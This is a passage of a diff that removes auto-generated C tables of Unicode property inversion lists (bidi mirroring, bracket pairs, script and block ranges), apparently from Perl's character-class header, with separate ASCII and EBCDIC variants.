- 0xFF61, - 0xFF62, - 0xFF64, - 0x1D6DB, - 0x1D6DC, - 0x1D715, - 0x1D716, - 0x1D74F, - 0x1D750, - 0x1D789, - 0x1D78A, - 0x1D7C3, - 0x1D7C4 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_BIDIM_invlist[] = { /* for EBCDIC 037 */ - 219, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4C, - 0x4E, - 0x5D, - 0x5E, - 0x6E, - 0x6F, - 0x8A, - 0x8C, - 0xBA, - 0xBC, - 0xC0, - 0xC1, - 0xD0, - 0xD1, - 0xF3A, - 0xF3E, - 0x169B, - 0x169D, - 0x2039, - 0x203B, - 0x2045, - 0x2047, - 0x207D, - 0x207F, - 0x208D, - 0x208F, - 0x2140, - 0x2141, - 0x2201, - 0x2205, - 0x2208, - 0x220E, - 0x2211, - 0x2212, - 0x2215, - 0x2217, - 0x221A, - 0x221E, - 0x221F, - 0x2223, - 0x2224, - 0x2225, - 0x2226, - 0x2227, - 0x222B, - 0x2234, - 0x2239, - 0x223A, - 0x223B, - 0x224D, - 0x2252, - 0x2256, - 0x225F, - 0x2261, - 0x2262, - 0x2263, - 0x2264, - 0x226C, - 0x226E, - 0x228D, - 0x228F, - 0x2293, - 0x2298, - 0x2299, - 0x22A2, - 0x22A4, - 0x22A6, - 0x22B9, - 0x22BE, - 0x22C0, - 0x22C9, - 0x22CE, - 0x22D0, - 0x22D2, - 0x22D6, - 0x22EE, - 0x22F0, - 0x2300, - 0x2308, - 0x230C, - 0x2320, - 0x2322, - 0x2329, - 0x232B, - 0x2768, - 0x2776, - 0x27C0, - 0x27C1, - 0x27C3, - 0x27C7, - 0x27C8, - 0x27CA, - 0x27CB, - 0x27CE, - 0x27D3, - 0x27D7, - 0x27DC, - 0x27DF, - 0x27E2, - 0x27F0, - 0x2983, - 0x2999, - 0x299B, - 0x29B0, - 0x29B8, - 0x29B9, - 0x29C0, - 0x29C6, - 0x29C9, - 0x29CA, - 0x29CE, - 0x29D3, - 0x29D4, - 0x29D6, - 0x29D8, - 0x29DD, - 0x29E1, - 0x29E2, - 0x29E3, - 0x29E6, - 0x29E8, - 0x29EA, - 0x29F4, - 0x29FA, - 0x29FC, - 0x29FE, - 0x2A0A, - 0x2A1D, - 0x2A1E, - 0x2A22, - 0x2A24, - 0x2A25, - 0x2A26, - 0x2A27, - 0x2A29, - 0x2A2A, - 0x2A2B, - 0x2A2F, - 0x2A34, - 0x2A36, - 0x2A3C, - 0x2A3F, - 0x2A57, - 0x2A59, - 0x2A64, - 0x2A66, - 0x2A6A, - 0x2A6E, - 0x2A6F, - 0x2A71, - 0x2A73, - 0x2A75, - 0x2A79, - 0x2AA4, - 0x2AA6, - 0x2AAE, - 0x2AAF, - 0x2AD7, - 0x2ADC, - 0x2ADD, - 0x2ADE, - 0x2ADF, - 0x2AE2, - 0x2AE7, - 0x2AEC, - 0x2AEF, - 0x2AF3, - 0x2AF4, - 0x2AF7, - 0x2AFC, - 0x2AFD, - 0x2AFE, - 0x2E02, - 0x2E06, - 0x2E09, - 0x2E0B, - 0x2E0C, - 0x2E0E, - 0x2E1C, - 0x2E1E, - 0x2E20, - 0x2E2A, - 0x3008, - 0x3012, - 0x3014, - 0x301C, - 0xFE59, - 0xFE5F, - 0xFE64, - 0xFE66, - 0xFF08, - 0xFF0A, - 0xFF1C, - 0xFF1D, - 0xFF1E, - 0xFF1F, - 0xFF3B, - 0xFF3C, - 0xFF3D, - 0xFF3E, - 0xFF5B, - 0xFF5C, - 0xFF5D, - 0xFF5E, - 0xFF5F, - 0xFF61, - 0xFF62, - 0xFF64, - 0x1D6DB, - 0x1D6DC, - 0x1D715, - 0x1D716, - 0x1D74F, - 0x1D750, - 0x1D789, - 0x1D78A, - 0x1D7C3, - 0x1D7C4 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_BLOCKELEMENTS_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2580, - 0x25A0 -}; - -static const UV PL_BOPO_invlist[] = { /* for all charsets */ - 25, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2EA, - 0x2EC, - 0x3001, - 0x3004, - 0x3008, - 0x3012, - 0x3013, - 0x3020, - 0x302A, - 0x302E, - 0x3030, - 0x3031, - 0x3037, - 0x3038, - 0x30FB, - 0x30FC, - 0x3105, - 0x312F, - 0x31A0, - 0x31BB, - 0xFE45, - 0xFE47, - 0xFF61, - 0xFF66 -}; - -static const UV PL_BOPOMOFOEXT_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x31A0, - 0x31C0 -}; - -static const UV PL_BOXDRAWING_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2500, - 0x2580 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_BPT__C_invlist[] = { /* for ASCII/Latin1 */ - 121, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x29, - 0x2A, - 0x5D, - 0x5E, - 0x7D, - 0x7E, - 0xF3B, - 0xF3C, - 0xF3D, - 0xF3E, - 0x169C, - 0x169D, - 0x2046, - 0x2047, - 0x207E, - 0x207F, - 0x208E, - 0x208F, - 0x2309, - 0x230A, - 0x230B, - 0x230C, - 0x232A, - 0x232B, - 0x2769, - 0x276A, - 0x276B, - 0x276C, - 0x276D, - 0x276E, - 0x276F, - 0x2770, - 0x2771, - 0x2772, - 0x2773, - 0x2774, - 0x2775, - 0x2776, - 0x27C6, - 0x27C7, - 0x27E7, - 0x27E8, - 0x27E9, - 0x27EA, - 0x27EB, - 0x27EC, - 0x27ED, - 0x27EE, - 0x27EF, - 0x27F0, - 0x2984, - 0x2985, - 0x2986, - 0x2987, - 0x2988, - 0x2989, - 0x298A, - 0x298B, - 0x298C, - 0x298D, - 0x298E, - 0x298F, - 0x2990, - 0x2991, - 0x2992, - 0x2993, - 0x2994, - 0x2995, - 0x2996, - 0x2997, - 0x2998, - 0x2999, - 0x29D9, - 0x29DA, - 0x29DB, - 0x29DC, - 0x29FD, - 0x29FE, - 0x2E23, - 0x2E24, - 0x2E25, - 0x2E26, - 0x2E27, - 0x2E28, - 0x2E29, - 0x2E2A, - 0x3009, - 0x300A, - 0x300B, - 0x300C, - 0x300D, - 0x300E, - 0x300F, - 0x3010, - 0x3011, - 0x3012, - 0x3015, - 0x3016, - 0x3017, - 0x3018, - 0x3019, - 0x301A, - 0x301B, - 0x301C, - 0xFE5A, - 0xFE5B, - 0xFE5C, - 0xFE5D, - 0xFE5E, - 0xFE5F, - 0xFF09, - 0xFF0A, - 0xFF3D, - 0xFF3E, - 0xFF5D, - 0xFF5E, - 0xFF60, - 0xFF61, - 0xFF63, - 0xFF64 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_BPT__C_invlist[] = { /* for EBCDIC 1047 */ - 121, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5D, - 0x5E, - 0xBD, - 0xBE, - 0xD0, - 0xD1, - 0xF3B, - 0xF3C, - 0xF3D, - 0xF3E, - 0x169C, - 0x169D, - 0x2046, - 0x2047, - 0x207E, - 0x207F, - 0x208E, - 0x208F, - 0x2309, - 0x230A, - 0x230B, - 0x230C, - 0x232A, - 0x232B, - 0x2769, - 0x276A, - 0x276B, - 0x276C, - 0x276D, - 0x276E, - 0x276F, - 0x2770, - 0x2771, - 0x2772, - 0x2773, - 0x2774, - 0x2775, - 0x2776, - 0x27C6, - 0x27C7, - 0x27E7, - 0x27E8, - 0x27E9, - 0x27EA, - 0x27EB, - 0x27EC, - 0x27ED, - 0x27EE, - 0x27EF, - 0x27F0, - 0x2984, - 0x2985, - 0x2986, - 0x2987, - 0x2988, - 0x2989, - 0x298A, - 0x298B, - 0x298C, - 0x298D, - 0x298E, - 0x298F, - 0x2990, - 0x2991, - 0x2992, - 0x2993, - 0x2994, - 0x2995, - 0x2996, - 0x2997, - 0x2998, - 0x2999, - 0x29D9, - 0x29DA, - 0x29DB, - 0x29DC, - 0x29FD, - 0x29FE, - 0x2E23, - 0x2E24, - 0x2E25, - 0x2E26, - 0x2E27, - 0x2E28, - 0x2E29, - 0x2E2A, - 0x3009, - 0x300A, - 0x300B, - 0x300C, - 0x300D, - 0x300E, - 0x300F, - 0x3010, - 0x3011, - 0x3012, - 0x3015, - 0x3016, - 0x3017, - 0x3018, - 0x3019, - 0x301A, - 0x301B, - 0x301C, - 0xFE5A, - 0xFE5B, - 0xFE5C, - 0xFE5D, - 0xFE5E, - 0xFE5F, - 0xFF09, - 0xFF0A, - 0xFF3D, - 0xFF3E, - 0xFF5D, - 0xFF5E, - 0xFF60, - 0xFF61, - 0xFF63, - 0xFF64 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_BPT__C_invlist[] = { /* for EBCDIC 037 */ - 121, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5D, - 0x5E, - 0xBB, - 0xBC, - 0xD0, - 0xD1, - 0xF3B, - 0xF3C, - 0xF3D, - 0xF3E, - 0x169C, - 0x169D, - 0x2046, - 0x2047, - 0x207E, - 0x207F, - 0x208E, - 0x208F, - 0x2309, - 0x230A, - 0x230B, - 0x230C, - 0x232A, - 0x232B, - 0x2769, - 0x276A, - 0x276B, - 0x276C, - 0x276D, - 0x276E, - 0x276F, - 0x2770, - 0x2771, - 0x2772, - 0x2773, - 0x2774, - 0x2775, - 0x2776, - 0x27C6, - 0x27C7, - 0x27E7, - 0x27E8, - 0x27E9, - 0x27EA, - 0x27EB, - 0x27EC, - 0x27ED, - 0x27EE, - 0x27EF, - 0x27F0, - 0x2984, - 0x2985, - 0x2986, - 0x2987, - 0x2988, - 0x2989, - 0x298A, - 0x298B, - 0x298C, - 0x298D, - 0x298E, - 0x298F, - 0x2990, - 0x2991, - 0x2992, - 0x2993, - 0x2994, - 0x2995, - 0x2996, - 0x2997, - 0x2998, - 0x2999, - 0x29D9, - 0x29DA, - 0x29DB, - 0x29DC, - 0x29FD, - 0x29FE, - 0x2E23, - 0x2E24, - 0x2E25, - 0x2E26, - 0x2E27, - 0x2E28, - 0x2E29, - 0x2E2A, - 0x3009, - 0x300A, - 0x300B, - 0x300C, - 0x300D, - 0x300E, - 0x300F, - 0x3010, - 0x3011, - 0x3012, - 0x3015, - 0x3016, - 0x3017, - 0x3018, - 0x3019, - 0x301A, - 0x301B, - 0x301C, - 0xFE5A, - 0xFE5B, - 0xFE5C, - 0xFE5D, - 0xFE5E, - 0xFE5F, - 0xFF09, - 0xFF0A, - 0xFF3D, - 0xFF3E, - 0xFF5D, - 0xFF5E, - 0xFF60, - 0xFF61, - 0xFF63, - 0xFF64 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_BPT__N_invlist[] = { /* for ASCII/Latin1 */ - 59, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x28, - 0x2A, - 0x5B, - 0x5C, - 0x5D, - 0x5E, - 0x7B, - 0x7C, - 0x7D, - 0x7E, - 0xF3A, - 0xF3E, - 0x169B, - 0x169D, - 0x2045, - 0x2047, - 0x207D, - 0x207F, - 0x208D, - 0x208F, - 0x2308, - 0x230C, - 0x2329, - 0x232B, - 0x2768, - 0x2776, - 0x27C5, - 0x27C7, - 0x27E6, - 0x27F0, - 0x2983, - 0x2999, - 0x29D8, - 0x29DC, - 0x29FC, - 0x29FE, - 0x2E22, - 0x2E2A, - 0x3008, - 0x3012, - 0x3014, - 0x301C, - 0xFE59, - 0xFE5F, - 0xFF08, - 0xFF0A, - 0xFF3B, - 0xFF3C, - 0xFF3D, - 0xFF3E, - 0xFF5B, - 0xFF5C, - 0xFF5D, - 0xFF5E, - 0xFF5F, - 0xFF61, - 0xFF62, - 0xFF64 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_BPT__N_invlist[] = { /* for EBCDIC 1047 */ - 61, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4D, - 0x4E, - 0x5D, - 0x5E, - 0xAD, - 0xAE, - 0xBD, - 0xBE, - 0xC0, - 0xC1, - 0xD0, - 0xD1, - 0xF3A, - 0xF3E, - 0x169B, - 0x169D, - 0x2045, - 0x2047, - 0x207D, - 0x207F, - 0x208D, - 0x208F, - 0x2308, - 0x230C, - 0x2329, - 0x232B, - 0x2768, - 0x2776, - 0x27C5, - 0x27C7, - 0x27E6, - 0x27F0, - 0x2983, - 0x2999, - 0x29D8, - 0x29DC, - 0x29FC, - 0x29FE, - 0x2E22, - 0x2E2A, - 0x3008, - 0x3012, - 0x3014, - 0x301C, - 0xFE59, - 0xFE5F, - 0xFF08, - 0xFF0A, - 0xFF3B, - 0xFF3C, - 0xFF3D, - 0xFF3E, - 0xFF5B, - 0xFF5C, - 0xFF5D, - 0xFF5E, - 0xFF5F, - 0xFF61, - 0xFF62, - 0xFF64 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_BPT__N_invlist[] = { /* for EBCDIC 037 */ - 59, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4D, - 0x4E, - 0x5D, - 0x5E, - 0xBA, - 0xBC, - 0xC0, - 0xC1, - 0xD0, - 0xD1, - 0xF3A, - 0xF3E, - 0x169B, - 0x169D, - 0x2045, - 0x2047, - 0x207D, - 0x207F, - 0x208D, - 0x208F, - 0x2308, - 0x230C, - 0x2329, - 0x232B, - 0x2768, - 0x2776, - 0x27C5, - 0x27C7, - 0x27E6, - 0x27F0, - 0x2983, - 0x2999, - 0x29D8, - 0x29DC, - 0x29FC, - 0x29FE, - 0x2E22, - 0x2E2A, - 0x3008, - 0x3012, - 0x3014, - 0x301C, - 0xFE59, - 0xFE5F, - 0xFF08, - 0xFF0A, - 0xFF3B, - 0xFF3C, - 0xFF3D, - 0xFF3E, - 0xFF5B, - 0xFF5C, - 0xFF5D, - 0xFF5E, - 0xFF5F, - 0xFF61, - 0xFF62, - 0xFF64 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_BPT__O_invlist[] = { /* for ASCII/Latin1 */ - 121, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x28, - 0x29, - 0x5B, - 0x5C, - 0x7B, - 0x7C, - 0xF3A, - 0xF3B, - 0xF3C, - 0xF3D, - 0x169B, - 0x169C, - 0x2045, - 0x2046, - 0x207D, - 0x207E, - 0x208D, - 0x208E, - 0x2308, - 0x2309, - 0x230A, - 0x230B, - 0x2329, - 0x232A, - 0x2768, - 0x2769, - 0x276A, - 0x276B, - 0x276C, - 0x276D, - 0x276E, - 0x276F, - 0x2770, - 0x2771, - 0x2772, - 0x2773, - 0x2774, - 0x2775, - 0x27C5, - 0x27C6, - 0x27E6, - 0x27E7, - 0x27E8, - 0x27E9, - 0x27EA, - 0x27EB, - 0x27EC, - 0x27ED, - 0x27EE, - 0x27EF, - 0x2983, - 0x2984, - 0x2985, - 0x2986, - 0x2987, - 0x2988, - 0x2989, - 0x298A, - 0x298B, - 0x298C, - 0x298D, - 0x298E, - 0x298F, - 0x2990, - 0x2991, - 0x2992, - 0x2993, - 0x2994, - 0x2995, - 0x2996, - 0x2997, - 0x2998, - 0x29D8, - 0x29D9, - 0x29DA, - 0x29DB, - 0x29FC, - 0x29FD, - 0x2E22, - 0x2E23, - 0x2E24, - 0x2E25, - 0x2E26, - 0x2E27, - 0x2E28, - 0x2E29, - 0x3008, - 0x3009, - 0x300A, - 0x300B, - 0x300C, - 0x300D, - 0x300E, - 0x300F, - 0x3010, - 0x3011, - 0x3014, - 0x3015, - 0x3016, - 0x3017, - 0x3018, - 0x3019, - 0x301A, - 0x301B, - 0xFE59, - 0xFE5A, - 0xFE5B, - 0xFE5C, - 0xFE5D, - 0xFE5E, - 0xFF08, - 0xFF09, - 0xFF3B, - 0xFF3C, - 0xFF5B, - 0xFF5C, - 0xFF5F, - 0xFF60, - 0xFF62, - 0xFF63 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_BPT__O_invlist[] = { /* for EBCDIC 1047 */ - 121, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4D, - 0x4E, - 0xAD, - 0xAE, - 0xC0, - 0xC1, - 0xF3A, - 0xF3B, - 0xF3C, - 0xF3D, - 0x169B, - 0x169C, - 0x2045, - 0x2046, - 0x207D, - 0x207E, - 0x208D, - 0x208E, - 0x2308, - 0x2309, - 0x230A, - 0x230B, - 0x2329, - 0x232A, - 0x2768, - 0x2769, - 0x276A, - 0x276B, - 0x276C, - 0x276D, - 0x276E, - 0x276F, - 0x2770, - 0x2771, - 0x2772, - 0x2773, - 0x2774, - 0x2775, - 0x27C5, - 0x27C6, - 0x27E6, - 0x27E7, - 0x27E8, - 0x27E9, - 0x27EA, - 0x27EB, - 0x27EC, - 0x27ED, - 0x27EE, - 0x27EF, - 0x2983, - 0x2984, - 0x2985, - 0x2986, - 0x2987, - 0x2988, - 0x2989, - 0x298A, - 0x298B, - 0x298C, - 0x298D, - 0x298E, - 0x298F, - 0x2990, - 0x2991, - 0x2992, - 0x2993, - 0x2994, - 0x2995, - 0x2996, - 0x2997, - 0x2998, - 0x29D8, - 0x29D9, - 0x29DA, - 0x29DB, - 0x29FC, - 0x29FD, - 0x2E22, - 0x2E23, - 0x2E24, - 0x2E25, - 0x2E26, - 0x2E27, - 0x2E28, - 0x2E29, - 0x3008, - 0x3009, - 0x300A, - 0x300B, - 0x300C, - 0x300D, - 0x300E, - 0x300F, - 0x3010, - 0x3011, - 0x3014, - 0x3015, - 0x3016, - 0x3017, - 0x3018, - 0x3019, - 0x301A, - 0x301B, - 0xFE59, - 0xFE5A, - 0xFE5B, - 0xFE5C, - 0xFE5D, - 0xFE5E, - 0xFF08, - 0xFF09, - 0xFF3B, - 0xFF3C, - 0xFF5B, - 0xFF5C, - 0xFF5F, - 0xFF60, - 0xFF62, - 0xFF63 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_BPT__O_invlist[] = { /* for EBCDIC 037 */ - 121, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x4D, - 0x4E, - 0xBA, - 0xBB, - 0xC0, - 0xC1, - 0xF3A, - 0xF3B, - 0xF3C, - 0xF3D, - 0x169B, - 0x169C, - 0x2045, - 0x2046, - 0x207D, - 0x207E, - 0x208D, - 0x208E, - 0x2308, - 0x2309, - 0x230A, - 0x230B, - 0x2329, - 0x232A, - 0x2768, - 0x2769, - 0x276A, - 0x276B, - 0x276C, - 0x276D, - 0x276E, - 0x276F, - 0x2770, - 0x2771, - 0x2772, - 0x2773, - 0x2774, - 0x2775, - 0x27C5, - 0x27C6, - 0x27E6, - 0x27E7, - 0x27E8, - 0x27E9, - 0x27EA, - 0x27EB, - 0x27EC, - 0x27ED, - 0x27EE, - 0x27EF, - 0x2983, - 0x2984, - 0x2985, - 0x2986, - 0x2987, - 0x2988, - 0x2989, - 0x298A, - 0x298B, - 0x298C, - 0x298D, - 0x298E, - 0x298F, - 0x2990, - 0x2991, - 0x2992, - 0x2993, - 0x2994, - 0x2995, - 0x2996, - 0x2997, - 0x2998, - 0x29D8, - 0x29D9, - 0x29DA, - 0x29DB, - 0x29FC, - 0x29FD, - 0x2E22, - 0x2E23, - 0x2E24, - 0x2E25, - 0x2E26, - 0x2E27, - 0x2E28, - 0x2E29, - 0x3008, - 0x3009, - 0x300A, - 0x300B, - 0x300C, - 0x300D, - 0x300E, - 0x300F, - 0x3010, - 0x3011, - 0x3014, - 0x3015, - 0x3016, - 0x3017, - 0x3018, - 0x3019, - 0x301A, - 0x301B, - 0xFE59, - 0xFE5A, - 0xFE5B, - 0xFE5C, - 0xFE5D, - 0xFE5E, - 0xFF08, - 0xFF09, - 0xFF3B, - 0xFF3C, - 0xFF5B, - 0xFF5C, - 0xFF5F, - 0xFF60, - 0xFF62, - 0xFF63 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_BRAH_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x11000, - 0x1104E, - 0x11052, - 0x11070, - 0x1107F, - 0x11080 -}; - -static const UV PL_BRAI_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2800, - 0x2900 -}; - -static const UV PL_BUGI_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1A00, - 0x1A1C, - 0x1A1E, - 0x1A20, - 0xA9CF, - 0xA9D0 -}; - -static const UV PL_BUHD_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1735, - 0x1737, - 0x1740, - 0x1754 -}; - -static const UV PL_BYZANTINEMUSIC_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1D000, - 0x1D100 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_C_invlist[] = { /* for ASCII/Latin1 */ - 1305, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x20, - 0x7F, - 0xA0, - 0xAD, - 0xAE, - 0x378, - 0x37A, - 0x380, - 0x384, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x530, - 0x531, - 0x557, - 0x559, - 0x560, - 0x561, - 0x588, - 0x589, - 0x58B, - 0x58D, - 0x590, - 0x591, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F5, - 0x606, - 0x61C, - 0x61E, - 0x6DD, - 0x6DE, - 0x70E, - 0x710, - 0x74B, - 0x74D, - 0x7B2, - 0x7C0, - 0x7FB, - 0x800, - 0x82E, - 0x830, - 0x83F, - 0x840, - 0x85C, - 0x85E, - 0x85F, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8D4, - 0x8E2, - 0x8E3, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9FE, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF2, - 0xAF9, - 0xB00, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB66, - 0xB78, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBFB, - 0xC00, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC60, - 0xC64, - 0xC66, - 0xC70, - 0xC78, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD00, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD50, - 0xD54, - 0xD64, - 0xD66, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF5, - 0xE01, - 0xE3B, - 0xE3F, - 0xE5C, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF00, - 